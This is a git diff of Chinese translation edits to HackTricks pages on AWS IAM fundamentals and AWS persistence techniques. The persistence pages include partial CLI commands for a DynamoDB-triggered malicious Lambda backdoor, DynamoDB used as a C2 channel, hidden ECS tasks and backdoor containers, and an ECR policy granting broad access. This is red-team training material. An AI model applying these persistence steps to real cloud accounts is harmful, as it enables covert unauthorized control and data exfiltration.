[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
-> 学习和实践 GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+> 学习和实践 AWS 黑客技术:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
+> 学习和实践 GCP 黑客技术:
[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
>
> .png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
 (1) (1) (1) (1) (1).png)
.png)
```
@@ -130,7 +130,7 @@ aws sts get-session-token --serial-number --token-code
### [IAM用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) 是一种**一次性将策略附加到多个用户**的方法,这可以使管理这些用户的权限变得更容易。**角色和组不能成为组的一部分**。
+IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) 是一种**一次性将策略附加到多个用户**的方法,这可以更容易地管理这些用户的权限。**角色和组不能成为组的一部分**。
您可以将**基于身份的策略附加到用户组**,以便用户组中的所有**用户**都**接收该策略的权限**。您**不能**在**策略**(例如基于资源的策略)中将**用户组**标识为**`Principal`**,因为组与权限相关,而不是身份验证,主体是经过身份验证的IAM实体。
@@ -139,17 +139,17 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
- 一个用户**组**可以**包含多个用户**,而一个**用户**可以**属于多个组**。
- **用户组不能嵌套**;它们只能包含用户,而不能包含其他用户组。
- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,您必须创建它并将每个新用户分配给它。
-- AWS账户中IAM资源的数量和大小是有限制的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
+- AWS账户中IAM资源的数量和大小是有限的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。
### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定了它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色不是唯一与一个人关联,而是旨在**被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以**临时**承担特定任务的不同权限。角色可以被[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)分配,该用户通过使用外部身份提供者而不是IAM进行登录。
+IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。
IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。
#### AWS安全令牌服务(STS)
-AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权限凭证的发放**。它专门针对:
+AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权限凭证的发放**。它专门用于:
### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
@@ -164,8 +164,8 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
- AWS管理策略(由AWS预配置)
- 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。
-默认情况下,访问**被拒绝**,如果指定了明确的角色,则将授予访问权限。\
-如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。
+默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\
+如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -188,8 +188,8 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权
]
}
```
-The [全球字段可以在任何服务中用于条件的文档在这里](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-The [每个服务中可以用于条件的特定字段的文档在这里](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[可以在任何服务中用于条件的全局字段在这里记录](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount)。\
+[每个服务中可以用于条件的特定字段在这里记录](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html)。
#### 内联策略
@@ -200,21 +200,21 @@ The [每个服务中可以用于条件的特定字段的文档在这里](https:/
这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。
-如果主体没有对它们的明确拒绝,并且资源策略授予他们访问权限,则他们被允许。
+如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。
### IAM边界
-IAM边界可以用于**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。
+IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。
边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。
-**这**、**SCPs**和**遵循最小权限**原则是控制用户没有超过其所需权限的方法。
+**这**、**SCPs**和**遵循最小权限**原则是控制用户权限不超过其所需权限的方式。
### 会话策略
-会话策略是**在某种情况下假定角色时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限是角色拥有的权限)。
+会话策略是**在角色被假设时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。
-这对于**安全措施**非常有用:当管理员要假定一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
+这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。
```bash
aws sts assume-role \
--role-arn \
@@ -222,26 +222,26 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-注意,默认情况下,**AWS 可能会向即将生成的会话添加会话策略**,这是由于第三方原因。例如,在[未经身份验证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)中,默认情况下(使用增强身份验证),AWS 将生成**带有会话策略的会话凭证**,该策略限制会话可以访问的服务[**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
+注意,默认情况下,**AWS 可能会将会话策略添加到即将生成的会话**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。
-因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为**有一个会话策略阻止了它**。
+因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**。
### 身份联合
-身份联合**允许来自外部身份提供者的用户**安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\
-身份提供者的一个例子可以是你自己的企业**Microsoft Active Directory**(通过**SAML**)或**OpenID**服务(如**Google**)。联合访问将允许其中的用户访问 AWS。
+身份联合 **允许来自外部身份提供者的用户** 安全地访问 AWS 资源,而无需提供有效 IAM 用户帐户的 AWS 用户凭证。\
+身份提供者的一个例子可以是你自己的企业 **Microsoft Active Directory**(通过 **SAML**)或 **OpenID** 服务(如 **Google**)。联合访问将允许其中的用户访问 AWS。
-要配置此信任,生成一个**IAM 身份提供者(SAML 或 OAuth)**,该提供者将**信任****其他平台**。然后,至少一个**IAM 角色被分配(信任)给身份提供者**。如果来自受信任平台的用户访问 AWS,他将以提到的角色进行访问。
+要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。
-然而,通常你会希望根据第三方平台中用户的**组别给予不同的角色**。然后,多个**IAM 角色可以信任**第三方身份提供者,第三方平台将允许用户假定一个角色或另一个角色。
+然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的。
.png)
### IAM 身份中心
-AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个**集中位置**,将**用户及其对 AWS**帐户和云应用程序的访问管理汇集在一起。
+AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。
-登录域将类似于`.awsapps.com`。
+登录域将类似于 `.awsapps.com`。
要登录用户,可以使用 3 个身份源:
@@ -251,22 +251,22 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
.png)
-在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够**为他们分配策略**到**组织的任何帐户**。
+在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。
-为了给予身份中心用户/组对帐户的访问,将创建一个**信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个**信任身份提供者并具有指示策略的角色**。
+为了给身份中心用户/组访问一个帐户,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。
#### AwsSSOInlinePolicy
-可以通过内联策略**向通过 IAM 身份中心创建的角色授予权限**。在被授予**AWS 身份中心内联策略**的帐户中创建的角色将具有名为**`AwsSSOInlinePolicy`**的内联策略中的这些权限。
+可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。
-因此,即使你看到两个具有名为**`AwsSSOInlinePolicy`**的内联策略的角色,也**并不意味着它们具有相同的权限**。
+因此,即使你看到两个带有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。
### 跨账户信任和角色
-**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后**允许另一个用户**(受信任)**访问他的帐户**,但仅**具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
-建议**指定被信任的用户,而不是放置一些通用内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。
+**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\
+建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。
-### AWS 简单 AD
+### AWS Simple AD
不支持:
@@ -278,20 +278,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
- 架构扩展
- 无法直接访问操作系统或实例
-#### Web 联合或 OpenID 身份验证
+#### Web 联合或 OpenID 认证
-该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。
+该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予访问 AWS 控制台的权限,仅授予对 AWS 内部资源的访问权限。
### 其他 IAM 选项
-- 你可以**设置密码策略设置**选项,如最小长度和密码要求。
-- 你可以**下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每**四小时**生成一次凭证报告。
+- 你可以 **设置密码策略设置**,选项如最小长度和密码要求。
+- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用等)。你可以每 **四小时** 生成一次凭证报告。
-AWS 身份和访问管理(IAM)提供**细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定**谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以**确保最小权限**。
+AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以 **确保最小权限**。
### IAM ID 前缀
-在[**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)中,你可以找到根据其性质的键的**IAM ID 前缀**:
+在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的键的 **IAM ID 前缀**:
| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -320,12 +320,12 @@ AWS 身份和访问管理(IAM)提供**细粒度的访问控制**,覆盖所
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
-## 杂项
+## 其他
-### CLI 身份验证
+### CLI 认证
-为了让常规用户通过 CLI 认证到 AWS,你需要拥有**本地凭证**。默认情况下,你可以在`~/.aws/credentials`中**手动**配置它们,或通过**运行**`aws configure`。\
-在该文件中,你可以拥有多个配置文件,如果在使用**aws cli**时**未指定配置文件**,则将使用该文件中名为**`[default]`**的配置文件。\
+为了让常规用户通过 CLI 认证到 AWS,你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials` 中 **手动** 配置它们,或通过 **运行** `aws configure`。\
+在该文件中,你可以拥有多个配置文件,如果 **未指定配置文件**,使用 **aws cli** 时,将使用该文件中名为 **`[default]`** 的配置文件。\
具有多个配置文件的凭证文件示例:
```
[default]
@@ -337,7 +337,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。
+如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**假设这些账户中的角色**的权限,您就不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。
您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\
配置文件示例:
@@ -353,7 +353,7 @@ sts_regional_endpoints = regional
```
aws --profile acc2 ...
```
-如果您正在寻找类似的东西,但针对**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。
+如果您正在寻找类似的东西,但用于**浏览器**,您可以查看**扩展** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)。
## 参考文献
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index ee9ea8ce7..eb31163a0 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -44,7 +44,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
]
}
```
-6. 请注意在前面的策略中,只有来自 **组织** 的 **存储库** 的一个 **分支** 被授权具有特定的 **触发器**。
+6. 请注意在前面的策略中,只有 **组织** 的 **存储库** 中的一个 **分支** 被授权具有特定的 **触发器**。
7. github action 将能够 **冒充** 的 **角色** 的 **ARN** 将是 github action 需要知道的“秘密”,因此 **将其存储** 在 **环境** 中的 **秘密** 内。
8. 最后,使用 github action 配置工作流将使用的 AWS 凭据:
```yaml
@@ -108,13 +108,13 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
-该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以承担该角色。然而,它并没有指明哪个服务账户可以承担它,这意味着**任何具有Web身份令牌的服务账户**都将**能够承担**该角色。
+该策略正确地指示**只有**具有**id** `20C159CDF6F2349B68846BEC03BE031B`的**EKS集群**可以假设该角色。然而,它没有指明哪个服务账户可以假设它,这意味着**任何具有Web身份令牌的服务账户**都将**能够假设**该角色。
-为了指定**哪个服务账户应该能够承担该角色,**需要指定一个**条件**,其中**指定服务账户名称**,例如:
+为了指定**哪个服务账户应该能够假设该角色,**需要指定一个**条件**,其中**指定服务账户名称,**例如:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
-## References
+## 参考
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index cde637d91..199375575 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -10,8 +10,8 @@
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
-- 如果客户为您生成分析器,则可选,但通常直接请求此权限更容易)
+- 如果客户为您生成分析器,则为可选,但通常只需请求此权限更容易)
- **access-analyzer:DeleteAnalyzer**
-- 如果客户为您删除分析器,则可选,但通常直接请求此权限更容易)
+- 如果客户为您删除分析器,则为可选,但通常只需请求此权限更容易)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index 93f423119..aac4a0b64 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -4,7 +4,7 @@
## API Gateway
-有关更多信息,请访问:
+更多信息请访问:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
@@ -17,16 +17,16 @@
### Modify Lambda Authorizers
修改 lambda 授权者的代码以授予自己对所有端点的访问权限。\
-或者只需删除授权者的使用。
+或者直接移除授权者的使用。
### IAM Permissions
如果资源使用 IAM 授权者,您可以通过修改 IAM 权限来授予自己访问权限。\
-或者只需删除授权者的使用。
+或者直接移除授权者的使用。
### API Keys
如果使用了 API 密钥,您可以泄露它们以保持持久性,甚至创建新的密钥。\
-或者只需删除 API 密钥的使用。
+或者直接移除 API 密钥的使用。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index f6fc5df40..412dc2b92 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -1,4 +1,4 @@
-# AWS - Cognito Persistence
+# AWS - Cognito 持久性
{{#include ../../../banners/hacktricks-training.md}}
@@ -15,10 +15,10 @@
Cognito 是一个允许为未认证和已认证用户分配角色并控制用户目录的服务。可以更改几种不同的配置以保持某种持久性,例如:
- **将用户池**添加到由用户控制的身份池
-- 为**未认证身份池**提供**IAM角色并允许基本身份验证流程**
+- 为未认证身份池提供一个**IAM角色并允许基本身份验证流程**
- 或者为**已认证身份池**提供角色,如果攻击者可以登录
- 或者**提高给定角色的权限**
-- **通过受控属性的用户或新用户在**用户池中**创建、验证和权限提升**
+- **通过受控属性创建、验证和权限提升**用户或新用户在**用户池**中
- **允许外部身份提供者**在用户池或身份池中登录
查看如何执行这些操作
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 15d7ea70c..6cf7e4c65 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@
### 使用 Lambda 后门的 DynamoDB 触发器
-通过使用 DynamoDB 触发器,攻击者可以通过将恶意 Lambda 函数与表关联来创建一个 **隐蔽的后门**。当添加、修改或删除项目时,可以触发 Lambda 函数,从而允许攻击者在 AWS 账户内执行任意代码。
+通过使用 DynamoDB 触发器,攻击者可以通过将恶意 Lambda 函数与表关联来创建一个 **隐秘的后门**。当添加、修改或删除项目时,可以触发 Lambda 函数,从而允许攻击者在 AWS 账户内执行任意代码。
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \
--event-source \
--region
```
-为了保持持久性,攻击者可以在DynamoDB表中创建或修改项目,这将触发恶意的Lambda函数。这允许攻击者在AWS账户内执行代码,而无需直接与Lambda函数交互。
+为了保持持久性,攻击者可以在DynamoDB表中创建或修改项目,这将触发恶意的Lambda函数。这使得攻击者能够在AWS账户内执行代码,而无需直接与Lambda函数交互。
### DynamoDB作为C2通道
@@ -54,6 +54,6 @@ aws dynamodb put-item \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region
```
-被攻陷的实例或 Lambda 函数可以定期检查 C2 表以获取新命令,执行它们,并可选择将结果报告回表中。这使攻击者能够保持对被攻陷资源的持久性和控制。
+被攻陷的实例或 Lambda 函数可以定期检查 C2 表以获取新命令,执行这些命令,并可选择将结果报告回表中。这使攻击者能够保持对被攻陷资源的持久性和控制。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 4e8eaf642..907c789b0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -18,7 +18,7 @@
### EC2 生命周期管理器
-该服务允许**调度**创建**AMI 和快照**,甚至**与其他账户共享**。\
+该服务允许**调度**创建 AMI 和快照,甚至**与其他账户共享**。\
攻击者可以配置**每周生成所有镜像或所有卷的 AMI 或快照**并**与他的账户共享**。
### 定时实例
@@ -27,14 +27,14 @@
### Spot Fleet 请求
-Spot 实例比常规实例**便宜**。攻击者可以发起一个**为期 5 年的小型 Spot Fleet 请求**(例如),并**自动分配 IP**,以及一个**用户数据**,在**Spot 实例启动时**发送给攻击者**IP 地址**和**高权限 IAM 角色**。
+Spot 实例比常规实例**便宜**。攻击者可以发起一个**为期 5 年的小型 Spot Fleet 请求**(例如),并**自动分配 IP**,以及一个**用户数据**,在 Spot 实例启动时发送给攻击者**和 IP 地址**,并带有**高权限的 IAM 角色**。
### 后门实例
攻击者可以访问实例并对其进行后门处理:
- 例如使用传统的**rootkit**
-- 添加一个新的**公共 SSH 密钥**(查看 [EC2 权限提升选项](../aws-privilege-escalation/aws-ec2-privesc.md))
+- 添加新的**公共 SSH 密钥**(查看 [EC2 权限提升选项](../aws-privilege-escalation/aws-ec2-privesc.md))
- 对**用户数据**进行后门处理
### **后门启动配置**
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 95a579b72..b7ded6a9f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -1,4 +1,4 @@
-# AWS - ECR Persistence
+# AWS - ECR 持久性
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,13 +10,13 @@
../aws-services/aws-ecr-enum.md
{{#endref}}
-### 带有恶意代码的隐藏Docker镜像
+### 带有恶意代码的隐藏 Docker 镜像
-攻击者可以**将包含恶意代码的Docker镜像**上传到ECR存储库,并利用它在目标AWS账户中保持持久性。然后,攻击者可以以隐蔽的方式将恶意镜像部署到账户内的各种服务,例如Amazon ECS或EKS。
+攻击者可以 **将包含恶意代码的 Docker 镜像上传** 到 ECR 存储库,并利用它在目标 AWS 账户中保持持久性。攻击者随后可以以隐蔽的方式将恶意镜像部署到账户内的各种服务,例如 Amazon ECS 或 EKS。
### 存储库策略
-向单个存储库添加策略,授予您自己(或所有人)对存储库的访问权限:
+向单个存储库添加策略,授予自己(或所有人)对存储库的访问权限:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
@@ -41,11 +41,11 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> 请注意,ECR要求用户通过IAM策略具有**权限**,以便在**认证**到注册表并从任何Amazon ECR存储库推送或拉取任何镜像之前,可以调用**`ecr:GetAuthorizationToken`** API。
+> 请注意,ECR要求用户在通过IAM策略**进行身份验证**之前,必须具有**权限**以调用**`ecr:GetAuthorizationToken`** API,以便能够向注册表推送或拉取任何来自任何Amazon ECR存储库的镜像。
### 注册表策略与跨账户复制
-可以通过配置跨账户复制自动复制外部账户中的注册表,在那里您需要**指明外部账户**,您希望复制注册表。
+可以通过配置跨账户复制自动复制外部账户中的注册表,在此过程中需要**指明外部账户**,以便您想要复制注册表。
.png)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index ab788d522..a97d3cbde 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@
> [!NOTE]
> TODO: 测试
-攻击者可以使用 Amazon EventBridge 创建一个隐藏的周期性 ECS 任务,以**定期调度恶意任务的执行**。该任务可以进行侦察、外泄数据或在 AWS 账户中维持持久性。
+攻击者可以使用 Amazon EventBridge 创建一个隐藏的周期性 ECS 任务,以 **定期调度恶意任务的执行**。该任务可以进行侦察、外泄数据或在 AWS 账户中保持持久性。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
> [!NOTE]
> TODO: 测试
-攻击者可以在现有的 ECS 任务定义中添加一个 **隐蔽的后门容器**,该容器与合法容器并行运行。后门容器可用于持久性和执行恶意活动。
+攻击者可以在现有的 ECS 任务定义中添加一个 **隐蔽的后门容器**,与合法容器并行运行。后门容器可用于持久性和执行恶意活动。
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
}
]'
```
-### Undocumented ECS Service
+### 未记录的 ECS 服务
> [!NOTE]
-> TODO: Test
+> TODO: 测试
-攻击者可以创建一个**未记录的ECS服务**,该服务运行恶意任务。通过将所需的任务数量设置为最小并禁用日志记录,管理员更难注意到该恶意服务。
+攻击者可以创建一个 **未记录的 ECS 服务**,运行恶意任务。通过将所需的任务数量设置为最小并禁用日志记录,管理员更难注意到恶意服务。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index ac6bc142e..fe889ae08 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -18,16 +18,16 @@
攻击者可以在 S3 仓库中植入后门代码,以便它始终执行其后门和预期代码。
-### 新的植入后门版本
+### 新的后门版本
-攻击者可以部署一个新的植入后门的应用程序版本,而不是更改实际版本中的代码。
+攻击者可以部署一个新的后门版本的应用程序,而不是更改实际版本中的代码。
### 滥用自定义资源生命周期钩子
> [!NOTE]
> TODO: 测试
